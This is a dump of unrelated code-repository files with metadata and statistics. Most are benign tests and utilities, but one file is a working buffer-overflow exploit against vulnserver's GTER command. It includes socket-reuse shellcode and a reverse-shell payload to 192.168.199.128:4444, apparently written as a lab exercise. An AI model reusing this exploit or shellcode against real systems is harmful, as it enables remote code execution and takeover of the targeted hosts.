[ "MIT" ]
7
2020-10-01T19:39:41.000Z
2022-03-18T15:28:01.000Z
tests/test_globbing.py
mrzor/gcloud_sync_ssh
f064f524648d42a9199ebc6c916e5f72ca2ca45e
[ "MIT" ]
null
null
null
tests/test_globbing.py
mrzor/gcloud_sync_ssh
f064f524648d42a9199ebc6c916e5f72ca2ca45e
[ "MIT" ]
null
null
null
from gcloud_sync_ssh.util.globbing import matches_any, looks_like_pattern, has_pattern def test_looks_like_pattern(): assert looks_like_pattern("a*b") assert looks_like_pattern("*ba") assert looks_like_pattern("ba*") assert looks_like_pattern("b[abc]") assert looks_like_pattern("a?c") assert not looks_like_pattern("ab") assert not looks_like_pattern("") def test_has_pattern(): assert has_pattern("a*") assert has_pattern(["a?c", "", "ab"]) assert not has_pattern("toto") assert not has_pattern(["", "x", "abc", "def"]) def test_matches_any_without_globs(): assert matches_any("placeholder") assert matches_any("placeholder", []) assert matches_any("placeholder", None) def test_matches_any(): assert matches_any("aab", ["aa?"]) assert matches_any("aab", ["a*"]) assert matches_any("aab", ["aa[ab]"]) assert not matches_any("aab", ["bb?"]) assert not matches_any("aab", ["b*b"]) assert not matches_any("aab", ["[cb][cd][ce]"])
29.085714
86
0.67387
144
1,018
4.458333
0.243056
0.186916
0.224299
0.17134
0.55296
0.235202
0.235202
0.235202
0.109034
0
0
0
0.160118
1,018
34
87
29.941176
0.750877
0
0
0
0
0
0.115914
0
0
0
0
0
0.8
1
0.16
true
0
0.04
0
0.2
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
1
0
0
0
0
0
0
4
64c4631695620a49ea858793f32cf2a300d4aa51
456
py
Python
sim/prelude.py
vegaprotocol/mlp-tools
f00ddf92766f78253fe61e5abe3f67ad9542a809
[ "MIT" ]
1
2021-01-26T01:56:36.000Z
2021-01-26T01:56:36.000Z
sim/prelude.py
vegaprotocol/mlp-tools
f00ddf92766f78253fe61e5abe3f67ad9542a809
[ "MIT" ]
null
null
null
sim/prelude.py
vegaprotocol/mlp-tools
f00ddf92766f78253fe61e5abe3f67ad9542a809
[ "MIT" ]
1
2020-10-22T07:32:27.000Z
2020-10-22T07:32:27.000Z
import os from typing import List, Optional, Union, Dict from functools import reduce, namedtuple from dataclasses import dataclass, field, replace from copy import deepcopy ROOT = (os.path.dirname(__file__) + '/../{}').format class Data: def __init_subclass__(cls, **kwargs): return dataclass(cls) def default_factory(x, init=True, repr=True): return field(default_factory=x, init=init, repr=repr) def attr(name): return lambda o: getattr(o, name)
28.5
60
0.756579
66
456
5.060606
0.606061
0.083832
0.08982
0.113772
0
0
0
0
0
0
0
0
0.127193
456
16
61
28.5
0.839196
0
0
0
0
0
0.013129
0
0
0
0
0
0
1
0.25
false
0
0.416667
0.25
0.916667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
4
64d35d5ff4b8dcc7312a78f3a8d352d9f4bfdabd
50
py
Python
strongr/core/exception/isnotcallableexception.py
bigr-erasmusmc/StrongR
48573e170771a251f629f2d13dba7173f010a38c
[ "Apache-2.0" ]
null
null
null
strongr/core/exception/isnotcallableexception.py
bigr-erasmusmc/StrongR
48573e170771a251f629f2d13dba7173f010a38c
[ "Apache-2.0" ]
null
null
null
strongr/core/exception/isnotcallableexception.py
bigr-erasmusmc/StrongR
48573e170771a251f629f2d13dba7173f010a38c
[ "Apache-2.0" ]
null
null
null
class IsNotCallableException(Exception): pass
16.666667
40
0.8
4
50
10
1
0
0
0
0
0
0
0
0
0
0
0
0.14
50
2
41
25
0.930233
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
4
64de743ee73382c2b319ae0c3ac57a706b00c900
368
py
Python
tensor/create.py
CodePrometheus/Starry-PyTorch
8d845547b044ca89472246a6a351546e2d3479b2
[ "MIT" ]
null
null
null
tensor/create.py
CodePrometheus/Starry-PyTorch
8d845547b044ca89472246a6a351546e2d3479b2
[ "MIT" ]
null
null
null
tensor/create.py
CodePrometheus/Starry-PyTorch
8d845547b044ca89472246a6a351546e2d3479b2
[ "MIT" ]
null
null
null
import torch a = torch.Tensor([[1, 2], [3, 4]]) print(a) print(a.type()) a = torch.Tensor(2, 3) print(a) print(a.type()) a = torch.ones(2, 2) print(a) print(a.type()) # 对角线 a = torch.eye(2, 2) print(a) print(a.type()) a = torch.zeros(2, 2) print(a) print(a.type()) b = torch.Tensor(2, 3) b = torch.zeros_like(b) print(b) # random a = torch.rand(2, 3) print(a)
11.5
34
0.600543
75
368
2.933333
0.24
0.3
0.25
0.272727
0.472727
0.472727
0.472727
0
0
0
0
0.05178
0.160326
368
31
35
11.870968
0.660194
0.027174
0
0.52381
0
0
0
0
0
0
0
0
0
1
0
false
0
0.047619
0
0.047619
0.571429
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
4
b3a1f762cbe69c6567cddcd7f9a7b614bce405bd
283
py
Python
tests/pipeline/component/__init__.py
FudanSELab/kgdt
f1abe4708de68517d7fb15b06f817c92568ee4b5
[ "MIT" ]
1
2022-03-17T02:58:46.000Z
2022-03-17T02:58:46.000Z
tests/pipeline/component/__init__.py
FudanSELab/kgdt
f1abe4708de68517d7fb15b06f817c92568ee4b5
[ "MIT" ]
null
null
null
tests/pipeline/component/__init__.py
FudanSELab/kgdt
f1abe4708de68517d7fb15b06f817c92568ee4b5
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ ----------------------------------------- @Author: isky @Email: 19110240019@fudan.edu.cn @Created: 2019/11/19 ------------------------------------------ @Modify: 2019/11/19 ------------------------------------------ @Description: """
23.583333
42
0.35689
23
283
4.391304
0.869565
0.118812
0.158416
0
0
0
0
0
0
0
0
0.106464
0.070671
283
12
43
23.583333
0.277567
0.961131
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
4
b3bb5025470452a6c6f654a3bfec05f1101d0eb1
187
py
Python
taiga-back/local.py
denverwilliams/taiga-docker
12336c1ac6e2276f46550100947bb2001f4f7296
[ "MIT" ]
3
2016-06-03T12:06:39.000Z
2018-07-29T03:49:01.000Z
taiga-back/local.py
denverwilliams/taiga-docker
12336c1ac6e2276f46550100947bb2001f4f7296
[ "MIT" ]
null
null
null
taiga-back/local.py
denverwilliams/taiga-docker
12336c1ac6e2276f46550100947bb2001f4f7296
[ "MIT" ]
5
2016-08-28T03:28:05.000Z
2018-10-24T15:12:17.000Z
from .common import * from .dockerenv import * # THROTTLING #REST_FRAMEWORK["DEFAULT_THROTTLE_RATES"] = { # "anon": "20/min", # "user": "200/min", # "import-mode": "20/sec" #}
17
45
0.614973
22
187
5.090909
0.772727
0
0
0
0
0
0
0
0
0
0
0.045752
0.181818
187
10
46
18.7
0.686275
0.668449
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
4
b3bbfbbff09b2e02048afb0039b9194f5cfc95e1
2,918
py
Python
tests/integration/test_league_badge_integration.py
aaron-cesaro/defund-dao-v2
0b4c29217182d95d2489dfb2cd04d4d7a67bf79d
[ "MIT" ]
null
null
null
tests/integration/test_league_badge_integration.py
aaron-cesaro/defund-dao-v2
0b4c29217182d95d2489dfb2cd04d4d7a67bf79d
[ "MIT" ]
null
null
null
tests/integration/test_league_badge_integration.py
aaron-cesaro/defund-dao-v2
0b4c29217182d95d2489dfb2cd04d4d7a67bf79d
[ "MIT" ]
null
null
null
import pytest from brownie import Contract, exceptions from scripts.helpful_scripts import ( get_account, write_metadata, LOCAL_BLOCKCHAIN_ENVIRONMENTS, ) from scripts.deploy import deploy_league_badge, deploy_league_manager def test_add_member(leagues, venture_league_roles): # Arrange account = get_account() league_manager = deploy_league_manager() league_badge = Contract.from_abi( "LeagueBadge", league_manager.leagueBadge(), deploy_league_badge().abi, ) badge_awardee = "0xAFa5D1e5fb62851a73AC585540ddAEB35828ACDA" venture_league = leagues[0] analyst_role = venture_league_roles[0] # Act tx_award = league_manager.addMember( badge_awardee, venture_league, analyst_role, {"from": account}, ) tx_award.wait(1) token_id = league_manager.getTokenId(badge_awardee) token_uri = write_metadata(token_id, venture_league, league_badge, league_manager) tx_set_token_uri = league_manager.setTokenURI( token_id, token_uri, {"from": account} ) tx_set_token_uri.wait(1) # Assert assert league_badge.owner() == league_manager.address assert league_badge.ownerOf(token_id) == badge_awardee assert league_badge.tokenURI(token_id) == token_uri assert league_manager.getMemberRole(badge_awardee) == analyst_role assert league_manager.getTokenId(badge_awardee) == token_id def test_remove_member(leagues, venture_league_roles): # Arrange account = get_account() league_manager = deploy_league_manager() league_badge = Contract.from_abi( "LeagueBadge", league_manager.leagueBadge(), deploy_league_badge().abi, ) badge_awardee = "0xAFa5D1e5fb62851a73AC585540ddAEB35828ACDA" venture_league = leagues[0] analyst_role = venture_league_roles[0] # Act tx_award = league_manager.addMember( badge_awardee, venture_league, analyst_role, {"from": account}, ) tx_award.wait(1) token_id = league_manager.getTokenId(badge_awardee) token_uri = write_metadata(token_id, venture_league, league_badge, league_manager) tx_set_token_uri = league_manager.setTokenURI( token_id, token_uri, {"from": account} ) tx_set_token_uri.wait(1) tx_revoke = league_manager.removeMember( badge_awardee, venture_league, analyst_role, {"from": account} ) tx_revoke.wait(1) # Assert assert league_badge.balanceOf(badge_awardee) == 0 assert league_badge.owner() == league_manager.address with pytest.raises(exceptions.VirtualMachineError): league_badge.ownerOf(token_id) == badge_awardee with pytest.raises(exceptions.VirtualMachineError): assert league_badge.tokenURI(token_id) == token_uri assert league_manager.getMemberRole(badge_awardee) == "" assert league_manager.getTokenId(badge_awardee) == 0
34.738095
86
0.722413
337
2,918
5.878338
0.175074
0.144372
0.051489
0.056537
0.853104
0.807673
0.746593
0.666835
0.666835
0.6421
0
0.023355
0.19294
2,918
83
87
35.156627
0.817834
0.01268
0
0.630137
0
0
0.043841
0.029228
0
0
0.029228
0
0.136986
1
0.027397
false
0
0.054795
0
0.082192
0
0
0
0
null
0
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
b3f4951b93276dfe9ba65b52d89de5feb417fbd9
492
py
Python
Informatik1/Access/Ex 10/Task 1/public/cube.py
Queentaker/uzh
35cccaf910b95d15db21be80c8567eb427202591
[ "MIT" ]
8
2021-11-21T10:02:08.000Z
2022-03-15T21:02:02.000Z
Informatik1/Access/Ex 10/Task 1/public/cube.py
Queentaker/uzh
35cccaf910b95d15db21be80c8567eb427202591
[ "MIT" ]
null
null
null
Informatik1/Access/Ex 10/Task 1/public/cube.py
Queentaker/uzh
35cccaf910b95d15db21be80c8567eb427202591
[ "MIT" ]
3
2021-11-19T18:52:56.000Z
2022-02-27T15:45:59.000Z
import geometric_object #from geometric_object import GeometricObject class Cube(GeometricObject): def __init__(self, side_length:float, color:str, filled:bool): super().__init__(color, filled) self.__side_length = side_length def get_side_length(self): return round(self.__side_length, 2) def get_area(self): return round(6 * self.__side_length ** 2, 2) def get_volume(self): return round(self.__side_length ** 3, 2)
25.894737
66
0.674797
64
492
4.75
0.40625
0.230263
0.230263
0.125
0.190789
0.190789
0
0
0
0
0
0.015831
0.229675
492
19
67
25.894737
0.78628
0.089431
0
0
0
0
0
0
0
0
0
0
0
1
0.363636
false
0
0.090909
0.272727
0.818182
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
4
b3fac9dc29836e9848671001bf1a202f8bfda6c2
14,925
py
Python
tests/ganon/integration/test_build.py
JensUweUlrich/ganon
fced6f2dee540e756beadc90af5a95fa163127d0
[ "MIT", "BSD-3-Clause" ]
null
null
null
tests/ganon/integration/test_build.py
JensUweUlrich/ganon
fced6f2dee540e756beadc90af5a95fa163127d0
[ "MIT", "BSD-3-Clause" ]
null
null
null
tests/ganon/integration/test_build.py
JensUweUlrich/ganon
fced6f2dee540e756beadc90af5a95fa163127d0
[ "MIT", "BSD-3-Clause" ]
1
2022-03-07T12:37:34.000Z
2022-03-07T12:37:34.000Z
import unittest, sys, os sys.path.append('src') from ganon import ganon from ganon.config import Config base_dir = "tests/ganon/" sys.path.append(base_dir) from utils import * data_dir = base_dir + "data/" class TestBuildOffline(unittest.TestCase): results_dir = base_dir + "results/integration/build/" default_params = {"taxdump_file": [data_dir+"mini_nodes.dmp", data_dir+"mini_names.dmp"], "input_files": [data_dir+"build/bacteria_NC_010333.1.fasta.gz", data_dir+"build/bacteria_NC_017164.1.fasta.gz", data_dir+"build/bacteria_NC_017163.1.fasta.gz", data_dir+"build/bacteria_NC_017543.1.fasta.gz"], "seq_info_file": data_dir+"build/bacteria_seqinfo.txt", "write_seq_info_file": True, "rank": "species", "quiet": True} @classmethod def setUpClass(self): setup_dir(self.results_dir) def test_default(self): """ ganon build with default parameters """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_default" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") def test_minimizers(self): """ ganon build with window size (minimizers) """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_minimizers" params["window_size"] = 23 # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") ibf_with_minimizers = params["db_prefix"] + ".ibf" # without minimizers comparison params["window_size"] = 0 params["db_prefix"] = self.results_dir + "test_without_minimizers" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") ibf_without_minimizers = params["db_prefix"] + ".ibf" # Filter with minimizers should be smaller self.assertTrue(os.path.getsize(ibf_with_minimizers) < os.path.getsize(ibf_without_minimizers), "Filter with minimizers should be smaller") def test_rank_genus(self): """ ganon build --rank genus """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_rank_genus" params["rank"] = "genus" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # Check if did not report species from .tax self.assertFalse((res["tax_pd"]["rank"]=="species").any(), "Species reported with rank genus") def test_rank_leaves(self): """ ganon build --rank leaves """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_rank_leaves" params["rank"] = "leaves" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # Check if taxids provides are exactly the same used in .map self.assertTrue(res["seq_info"]["taxid"].isin(res["map_pd"]["target"].drop_duplicates()).all(), "Did not use leaves on .map") def test_specialization_custom(self): """ ganon build --specialization custom (with --seq-info-file) """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_specialization_custom" params["specialization"] = "custom" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # Specific test # Check if all assembly ids are on bins and map and tax self.assertTrue(res["seq_info"]["specialization"].isin(res["bins_pd"]["specialization"]).all(), "Missing assembly ids on bins") self.assertTrue(res["seq_info"]["specialization"].isin(res["map_pd"]["target"].drop_duplicates()).all(), "Missing assembly ids on .map") self.assertTrue(res["seq_info"]["specialization"].isin(res["tax_pd"]["taxid"].drop_duplicates()).all(), "Missing assembly ids on .tax") def test_bin_length(self): """ Test changing bin length """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_bin_length" params["bin_length"] = 10000 # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # Specific test # Check max size of fragments on bins self.assertTrue(res["bins_pd"]["length"].max()<=params["bin_length"], "Bin length greater than max.") def test_fragment_length(self): """ Test changing fragment length """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_fragment_length" params["fragment_length"] = 5000 # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # Specific test # Check max size of fragments on bins self.assertTrue(max(res["bins_pd"]["length"])<=params["fragment_length"], "Bin length greater than max.") def test_overlap_length(self): """ Test changing overlap length """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_overlap_length" params["bin_length"] = 10000 params["overlap_length"] = 999 # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # Specific test # Check max size of fragments on bins self.assertTrue(max(res["bins_pd"]["length"])<=params["bin_length"]+params["overlap_length"], "Fragment bigger than max. set") def test_bin_fragment_overlap_length(self): """ Test changing bin, fragment and overlap length """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_bin_fragment_overlap_length" params["bin_length"] = 5692 params["fragment_length"] = 667 params["overlap_length"] = 349 # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # Specific test # Check max size of fragments on bins self.assertTrue(max(res["bins_pd"]["length"])<=params["fragment_length"]+params["overlap_length"], "Fragment greater than max.") # Check max size of bins self.assertTrue(max(res["bins_pd"].groupby("binid").sum()["length"])<=params["bin_length"], "Bin length greater than max.") def test_duplicated_input_files(self): """ ganon build with duplicated input files. ganon-build will process all input files, but bins should be correct """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_duplicated_input_files" params["input_files"] = params["input_files"] * 4 # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # Specific test # Unique entries on bins (not duplicated) self.assertTrue(res["bins_pd"][["seqid","seqstart","seqend"]].equals(res["bins_pd"][["seqid","seqstart","seqend"]].drop_duplicates()), "Duplicated entries of repeated sequences on bins") def test_missing_entries(self): """ Test missing entries """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_missing_entries" params["input_files"] = params["input_files"][0] # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results # Sanity check passes because ganon build (using --seq-info-file) # does not iterate through sequences, just works with metadata # ganon-build will simply leave bins empty res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") def test_duplicated_seqinfo(self): """ ganon build with duplicated --seq-info-file entries """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_duplicated_seqinfo" params["seq_info_file"] = data_dir+"build/bacteria_seqinfo_duplicated.txt" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") # ganon should remove the duplicates and just have unique entries on bins self.assertTrue(res["bins_pd"][["seqid","seqstart","seqend"]].equals(res["bins_pd"][["seqid","seqstart","seqend"]].drop_duplicates()), "Duplicated entries on bins") def test_missing_invalid_seqinfo(self): """ ganon build --seq-info-file with missing and invalid information """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_missing_invalid_seqinfo" params["seq_info_file"] = data_dir+"build/bacteria_seqinfo_missing_invalid.txt" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") res = build_sanity_check_and_parse(vars(cfg)) # General sanity check of results # Sanity check passes because ganon build (using --seq-info-file) # does not iterate through sequences, just works with metadata # ganon-build will simply add the unique provided entries self.assertIsNotNone(res, "ganon build has inconsistent results") def test_na_seqinfo(self): """ ganon build --seq-info-file with "na" values """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_na_seqinfo" params["seq_info_file"] = data_dir+"build/bacteria_seqinfo_with_na.txt" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") res = build_sanity_check_and_parse(vars(cfg)) # General sanity check of results # Sanity check passes because ganon build (using --seq-info-file) # does not iterate through sequences, just works with metadata # ganon-build will simply add the unique provided entries self.assertIsNotNone(res, "ganon build has inconsistent results") def test_input_directory(self): """ Test input directory """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_input_directory" del params["input_files"] params["input_directory"] = data_dir+"build/" params["input_extension"] = ".fasta.gz" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") def test_invalid_rank(self): """ ganon build --rank xyz (invalid) """ params = self.default_params.copy() params["db_prefix"] = self.results_dir + "test_invalid_rank" params["rank"] = "xyz" # Build config from params cfg = Config("build", **params) # Run self.assertTrue(ganon.main(cfg=cfg), "ganon build exited with an error") # General sanity check of results res = build_sanity_check_and_parse(vars(cfg)) self.assertIsNotNone(res, "ganon build has inconsistent results") if __name__ == '__main__': unittest.main()
43.011527
194
0.634104
1,808
14,925
5.066372
0.102323
0.055677
0.029039
0.033406
0.786463
0.732751
0.714847
0.700218
0.653493
0.653493
0
0.005381
0.252864
14,925
347
195
43.011527
0.81607
0.188945
0
0.483146
0
0
0.282933
0.039794
0
0
0
0
0.264045
1
0.095506
false
0
0.022472
0
0.134831
0
0
0
0
null
0
0
0
0
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
4
b60a043e4fbd2feb2e537761ed92c41f11ca2828
3,845
py
Python
winxp_sp3/gter/gter_poc_socketreconstruction.py
danf42/vulnserver
1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913
[ "MIT" ]
null
null
null
winxp_sp3/gter/gter_poc_socketreconstruction.py
danf42/vulnserver
1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913
[ "MIT" ]
null
null
null
winxp_sp3/gter/gter_poc_socketreconstruction.py
danf42/vulnserver
1b01aaa0f0b5706b5bc24c5f64d99dddcdcfe913
[ "MIT" ]
null
null
null
import socket import struct import time print "\nExploitation of GTER Command - Socket Reconstruction\n" ip_addr = '192.168.199.130' port = 9999 # send evil buffer to vulnserver def send_evil_buffer(evil_buffer, ip_addr=ip_addr, port=port): did_send = False command = evil_buffer[:5] print "Sending buffer of length %s to command %s" % (len(evil_buffer), command) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip_addr, int(port))) except Exception as e: print "[-] Failed to connect to service %s" % e else: print "[+] Connected to server" # Get banner response data = s.recv(1024) print(data) bytes_sent = s.send(evil_buffer) print "Sent %s bytes" % bytes_sent if bytes_sent > 0: did_send = True finally: s.close() return did_send ############################################################################### shellcode = "\x83\xec\x4a\x83\xec\x4a\x31\xc0\xb0\x06\x50\xb0\x01\x50\x40\x50\xbb\xff\x7c\x25\x40\xc1\xeb\x08\xff\xd3\x89\xc7\x31\xc0\x50\x50\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x57\xbb\xff\x64\x25\x40\xc1\xeb\x08\xff\xd3\x6a\x7f\x57\xbb\xff\x54\x25\x40\xc1\xeb\x08\xff\xd3\x31\xc0\x50\x50\x57\xbb\xff\x4c\x25\x40\xc1\xeb\x08\xff\xd3\x89\xc7\x31\xc0\x50\xb4\x02\x50\x54\x59\x66\x83\xc1\x51\x66\x83\xc1\x51\x51\x57\xbb\xff\x2c\x25\x40\xc1\xeb\x08\xff\xd3" # We need to add a few null bytes at the end to give us room to place our second stage shellcode shellcode_buffer = "\x90"*(145-len(shellcode)) + shellcode + '\x90\x90' print "Shellcode buffer size: %d" % len(shellcode_buffer) # negative jump 128 bytes -128 is the max we can jump back for a short jump jmpshort = '\xeb\x80\x90\x90' jmp_esp = struct.pack("<I", 0x625011AF) # Now we can try to send our egghunter shellcode to GTER evil_buffer = "GTER /.:/" + shellcode_buffer + jmp_esp + jmpshort + 'E'*(5000-147-4-4) send_evil_buffer(evil_buffer) # sleep before sending reverse shell payload time.sleep(3) print "Sending Reverse shell payload..." #msfpayload windows/shell_reverse_tcp LHOST=192.168.199.128 LPORT=4444 EXITFUN=NONE R | msfencode -b '\x00' -t c revshell = ( "\xbe\x15\x2a\x4f\xf8\xdb\xd2\xd9\x74\x24\xf4\x5b\x33\xc9\xb1" "\x4f\x31\x73\x14\x03\x73\x14\x83\xeb\xfc\xf7\xdf\xb3\x10\x7e" "\x1f\x4c\xe1\xe0\xa9\xa9\xd0\x32\xcd\xba\x41\x82\x85\xef\x69" "\x69\xcb\x1b\xf9\x1f\xc4\x2c\x4a\x95\x32\x02\x4b\x18\xfb\xc8" "\x8f\x3b\x87\x12\xdc\x9b\xb6\xdc\x11\xda\xff\x01\xd9\x8e\xa8" "\x4e\x48\x3e\xdc\x13\x51\x3f\x32\x18\xe9\x47\x37\xdf\x9e\xfd" "\x36\x30\x0e\x8a\x71\xa8\x24\xd4\xa1\xc9\xe9\x07\x9d\x80\x86" "\xf3\x55\x13\x4f\xca\x96\x25\xaf\x80\xa8\x89\x22\xd9\xed\x2e" "\xdd\xac\x05\x4d\x60\xb6\xdd\x2f\xbe\x33\xc0\x88\x35\xe3\x20" "\x28\x99\x75\xa2\x26\x56\xf2\xec\x2a\x69\xd7\x86\x57\xe2\xd6" "\x48\xde\xb0\xfc\x4c\xba\x63\x9d\xd5\x66\xc5\xa2\x06\xce\xba" "\x06\x4c\xfd\xaf\x30\x0f\x6a\x03\x0e\xb0\x6a\x0b\x19\xc3\x58" "\x94\xb1\x4b\xd1\x5d\x1f\x8b\x16\x74\xe7\x03\xe9\x77\x17\x0d" "\x2e\x23\x47\x25\x87\x4c\x0c\xb5\x28\x99\x82\xe5\x86\x72\x62" "\x56\x67\x23\x0a\xbc\x68\x1c\x2a\xbf\xa2\x2b\x6d\x28\x8d\x84" "\xb6\x29\x65\xd7\x38\x3b\x2a\x5e\xde\x51\xc2\x36\x49\xce\x7b" "\x13\x01\x6f\x83\x89\x81\x0c\x16\x56\x51\x5a\x0b\xc1\x06\x0b" "\xfd\x18\xc2\xa1\xa4\xb2\xf0\x3b\x30\xfc\xb0\xe7\x81\x03\x39" "\x65\xbd\x27\x29\xb3\x3e\x6c\x1d\x6b\x69\x3a\xcb\xcd\xc3\x8c" "\xa5\x87\xb8\x46\x21\x51\xf3\x58\x37\x5e\xde\x2e\xd7\xef\xb7" "\x76\xe8\xc0\x5f\x7f\x91\x3c\xc0\x80\x48\x85\xf0\xca\xd0\xac" "\x98\x92\x81\xec\xc4\x24\x7c\x32\xf1\xa6\x74\xcb\x06\xb6\xfd" "\xce\x43\x70\xee\xa2\xdc\x15\x10\x10\xdc\x3f" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_addr, 4444)) bytes_sent = s.send(revshell) print "Sent %s bytes" % bytes_sent s.close()
39.639175
482
0.685826
741
3,845
3.512821
0.45614
0.034575
0.017288
0.02305
0.120246
0.101806
0.083365
0.059163
0.059163
0.02766
0
0.194566
0.109753
3,845
96
483
40.052083
0.565878
0.112614
0
0.092308
0
0.369231
0.639098
0.550977
0
0
0.003008
0
0
0
null
null
0
0.046154
null
null
0.138462
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
null
0
0
0
0
1
0
0
0
0
0
0
0
0
4
37544d7ca34375fcf02d8120d9072f8903225bca
101
py
Python
processing_public_holidays.py
MrHuman22/AutomationProjects
771dffd4614888da036e1619b3da9674bc83b3f4
[ "MIT" ]
null
null
null
processing_public_holidays.py
MrHuman22/AutomationProjects
771dffd4614888da036e1619b3da9674bc83b3f4
[ "MIT" ]
null
null
null
processing_public_holidays.py
MrHuman22/AutomationProjects
771dffd4614888da036e1619b3da9674bc83b3f4
[ "MIT" ]
null
null
null
""" Takes the information from the public holidays database and rearranges them into a nice grid """
25.25
92
0.772277
15
101
5.2
0.933333
0
0
0
0
0
0
0
0
0
0
0
0.168317
101
4
93
25.25
0.928571
0.910891
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
